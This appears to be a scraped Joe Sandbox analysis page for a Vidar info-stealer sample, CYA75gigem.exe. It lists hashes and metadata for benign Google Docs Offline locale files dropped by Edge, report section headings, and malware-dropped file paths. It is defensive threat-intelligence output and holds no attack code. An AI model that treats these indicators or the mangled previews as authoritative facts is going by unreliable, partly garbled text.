SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen we

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CYA75gigem.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\jmo89\3euk6x

C:\ProgramData\jmo89\5fuk68

C:\ProgramData\jmo89\8y58gl

C:\ProgramData\jmo89\cbimyu

C:\ProgramData\jmo89\eknyus

C:\ProgramData\jmo89\jwb1nycjm

C:\ProgramData\jmo89\mophdt

C:\ProgramData\jmo89\ppp8y5

C:\ProgramData\jmo89\ymymyuai5

Windows Analysis Report
CYA75gigem.exe